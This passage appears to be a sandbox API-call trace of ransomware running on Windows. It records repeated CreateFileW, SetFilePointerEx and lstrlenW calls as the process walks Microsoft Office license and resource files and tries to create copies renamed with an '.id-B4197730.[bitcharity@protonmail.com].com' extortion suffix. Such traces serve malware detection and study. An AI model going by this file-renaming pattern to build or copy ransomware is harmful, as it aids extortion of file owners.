liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.818] CloseHandle (hObject=0x1228) returned 1 [0253.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-oob.xrm-ms") returned 78 [0253.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-oob.xrm-ms") returned 78 [0253.818] lstrlenW (lpString=".doc") returned 4 [0253.819] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.819] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_oem_perp-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.819] CloseHandle (hObject=0x1228) returned 1 [0253.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-ppd.xrm-ms") returned 79 [0253.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-ppd.xrm-ms") returned 79 [0253.820] lstrlenW (lpString=".doc") returned 4 [0253.820] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.820] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_oem_perp-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.821] CloseHandle (hObject=0x1228) returned 1 [0253.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-ul-oob.xrm-ms") returned 82 [0253.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-ul-oob.xrm-ms") returned 82 [0253.821] lstrlenW (lpString=".doc") returned 4 [0253.824] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.824] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_oem_perp-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.829] CloseHandle (hObject=0x1168) returned 1 [0253.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-ul-phn.xrm-ms") returned 82 [0253.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-ul-phn.xrm-ms") returned 82 [0253.829] lstrlenW (lpString=".doc") returned 4 [0253.830] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.830] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.830] CloseHandle (hObject=0x1168) returned 1 [0253.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-pl.xrm-ms") returned 76 [0253.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-pl.xrm-ms") returned 76 [0253.831] lstrlenW (lpString=".doc") returned 4 [0253.831] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.831] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.832] CloseHandle (hObject=0x1168) returned 1 [0253.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-ppd.xrm-ms") returned 77 [0253.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-ppd.xrm-ms") returned 77 [0253.832] lstrlenW (lpString=".doc") returned 4 [0253.832] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.833] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.834] CloseHandle (hObject=0x1168) returned 1 [0253.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-ul-oob.xrm-ms") returned 80 [0253.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-ul-oob.xrm-ms") returned 80 [0253.835] lstrlenW (lpString=".doc") returned 4 [0253.835] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.835] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.836] CloseHandle (hObject=0x1168) returned 1 [0253.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-ul-phn.xrm-ms") returned 80 [0253.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Retail-ul-phn.xrm-ms") returned 80 [0253.836] lstrlenW (lpString=".doc") returned 4 [0253.839] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.839] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_kms_client-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.839] CloseHandle (hObject=0x1168) returned 1 [0253.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ppd.xrm-ms") returned 82 [0253.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ppd.xrm-ms") returned 82 [0253.840] lstrlenW (lpString=".doc") returned 4 [0253.841] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.841] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_kms_client-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.842] CloseHandle (hObject=0x1168) returned 1 [0253.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ul-oob.xrm-ms") returned 85 [0253.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ul-oob.xrm-ms") returned 85 [0253.842] lstrlenW (lpString=".doc") returned 4 [0253.843] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.843] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ul.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_kms_client-ul.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.848] CloseHandle (hObject=0x1168) returned 1 [0253.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ul.xrm-ms") returned 81 [0253.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_KMS_Client-ul.xrm-ms") returned 81 [0253.848] lstrlenW (lpString=".doc") returned 4 [0253.849] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.849] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_mak-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.849] CloseHandle (hObject=0x1168) returned 1 [0253.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-pl.xrm-ms") returned 74 [0253.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-pl.xrm-ms") returned 74 [0253.850] lstrlenW (lpString=".doc") returned 4 [0253.850] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.850] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_mak-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.851] CloseHandle (hObject=0x1168) returned 1 [0253.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-ppd.xrm-ms") returned 75 [0253.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-ppd.xrm-ms") returned 75 [0253.851] lstrlenW (lpString=".doc") returned 4 [0253.852] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.852] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_mak-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.852] CloseHandle (hObject=0x1168) returned 1 [0253.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-ul-oob.xrm-ms") returned 78 [0253.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-ul-oob.xrm-ms") returned 78 [0253.853] lstrlenW (lpString=".doc") returned 4 [0253.854] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.854] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdvl_mak-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.854] CloseHandle (hObject=0x1168) returned 1 [0253.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-ul-phn.xrm-ms") returned 78 [0253.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdVL_MAK-ul-phn.xrm-ms") returned 78 [0253.854] lstrlenW (lpString=".doc") returned 4 [0253.855] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.855] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.855] CloseHandle (hObject=0x1168) returned 1 [0253.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Grace-ppd.xrm-ms") returned 72 [0253.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Grace-ppd.xrm-ms") returned 72 [0253.856] lstrlenW (lpString=".doc") returned 4 [0253.861] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.861] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.862] CloseHandle (hObject=0x1234) returned 1 [0253.863] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.863] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_OEM_Perp-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_oem_perp-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.863] CloseHandle (hObject=0x1234) returned 1 [0253.864] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.865] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_OEM_Perp-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_oem_perp-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.869] CloseHandle (hObject=0x1234) returned 1 [0253.870] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.870] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_oem_perp-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.870] CloseHandle (hObject=0x1234) returned 1 [0253.871] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.872] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_oem_perp-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.872] CloseHandle (hObject=0x1234) returned 1 [0255.642] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0255.642] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0255.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemui.msi.16_officemui.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\officemui.msi.16_officemui.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.765] CloseHandle (hObject=0x125c) returned 1 [0256.063] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0256.064] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0256.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVAC.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvac.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.064] CloseHandle (hObject=0x126c) returned 1 [0256.070] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0256.070] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0256.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INSTLIST.VRD.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\instlist.vrd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.070] CloseHandle (hObject=0x126c) returned 1 [0256.072] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0256.072] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0256.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INVENTRY.VRD.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\inventry.vrd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.072] CloseHandle (hObject=0x126c) returned 1 [0256.074] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0256.074] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0256.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LGND.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lgnd.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.074] CloseHandle (hObject=0x126c) returned 1 [0256.086] SetFilePointerEx 